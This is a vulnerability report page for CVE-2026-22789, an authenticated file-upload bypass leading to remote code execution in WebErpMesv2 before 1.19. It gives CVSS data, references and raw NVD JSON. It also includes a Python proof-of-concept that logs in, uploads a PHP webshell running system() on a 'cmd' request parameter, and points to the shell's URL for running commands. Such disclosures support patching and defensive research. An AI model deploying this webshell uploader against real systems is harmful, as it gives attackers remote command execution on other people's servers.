Security Vulnerability Report
中文
CVE-2026-22789 CVSS 5.4 MEDIUM

CVE-2026-22789

Published: 2026-01-12 22:16:08
Last Modified: 2026-01-21 19:11:42

Description

WebErpMesv2 is a Resource Management and Manufacturing execution system Web for industry. Prior to 1.19, WebErpMesv2 contains a file upload validation bypass vulnerability in multiple controllers that allows authenticated users to upload arbitrary files, including PHP scripts, leading to Remote Code Execution (RCE). This vulnerability is identical in nature to CVE-2025-52130 but exists in different code locations that were not addressed by the original fix. This vulnerability is fixed in 1.19.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:wem-project:wem:1.18:*:*:*:*:*:*:* - VULNERABLE
WebErpMesv2 < 1.19

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-22789 File Upload Bypass PoC # Target: WebErpMesv2 < 1.19 # Type: Authenticated File Upload to RCE import requests import sys TARGET_URL = "http://target.com/WebErpMesv2" LOGIN_URL = f"{TARGET_URL}/index.php?sec=session&s=login" UPLOAD_URL = f"{TARGET_URL}/includes/ajax/upload.php" # Malicious PHP webshell PHP_SHELL = "<?php if(isset($_REQUEST['cmd'])){ echo '<pre>'; $cmd = ($_REQUEST['cmd']); system($cmd); echo '</pre>'; die; } ?>" def login(session, username, password): """Authenticate to WebErpMesv2""" data = { 'UserName': username, 'Password': password } response = session.post(LOGIN_URL, data=data) return 'user' in response.cookies or response.status_code == 200 def upload_shell(session, upload_endpoint): """Upload malicious PHP file bypassing validation""" files = { 'file': ('shell.php', PHP_SHELL, 'application/x-php') } # Try multiple upload endpoints endpoints = [ f"{TARGET_URL}/includes/ajax/upload.php", f"{TARGET_URL}/api/upload", f"{TARGET_URL}/uploads/upload.php" ] for endpoint in endpoints: try: response = session.post(endpoint, files=files, timeout=10) if response.status_code == 200: print(f"[+] Upload successful at: {endpoint}") return True except: continue return False def main(): if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") sys.exit(1) target = sys.argv[1] username = sys.argv[2] password = sys.argv[3] session = requests.Session() print("[*] Logging in to WebErpMesv2...") if not login(session, username, password): print("[-] Authentication failed") sys.exit(1) print("[+] Authentication successful") print("[*] Uploading malicious PHP shell...") if upload_shell(session, UPLOAD_URL): print("[+] Shell uploaded! Access at: /uploads/shell.php?cmd=whoami") else: print("[-] Upload failed - target may be patched or different endpoint") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22789", "sourceIdentifier": "[email protected]", "published": "2026-01-12T22:16:08.490", "lastModified": "2026-01-21T19:11:41.560", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WebErpMesv2 is a Resource Management and Manufacturing execution system Web for industry. Prior to 1.19, WebErpMesv2 contains a file upload validation bypass vulnerability in multiple controllers that allows authenticated users to upload arbitrary files, including PHP scripts, leading to Remote Code Execution (RCE). This vulnerability is identical in nature to CVE-2025-52130 but exists in different code locations that were not addressed by the original fix. This vulnerability is fixed in 1.19."}, {"lang": "es", "value": "WebErpMesv2 es un sistema web de gestión de recursos y ejecución de fabricación para la industria. Antes de la versión 1.19, WebErpMesv2 contiene una vulnerabilidad de omisión de validación de carga de archivos en múltiples controladores que permite a los usuarios autenticados cargar archivos arbitrarios, incluyendo scripts PHP, lo que lleva a la ejecución remota de código (RCE). Esta vulnerabilidad es idéntica en naturaleza a CVE-2025-52130 pero existe en diferentes ubicaciones de código que no fueron abordadas por la corrección original. Esta vulnerabilidad se corrigió en la versión 1.19."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}, {"lang": "en", "value": "CWE-616"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wem-project:wem:1.18:*:*:*:*:*:*:*", "matchCriteriaId": "647BD812-98EF-4CEA-8C31-C401DECD1031"}]}]}], "references": [{"url": "https://github.com/SMEWebify/WebErpMesv2/commit/c9e7f4a85aeb774a0ea4b61ad57a51b941166b69", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/SMEWebify/WebErpMesv2/security/advisories/GHSA-64rv-f829-x6m4", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/SMEWebify/WebErpMesv2/security/advisories/GHSA-64rv-f829-x6m4", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Vendor Advisory"]}]}}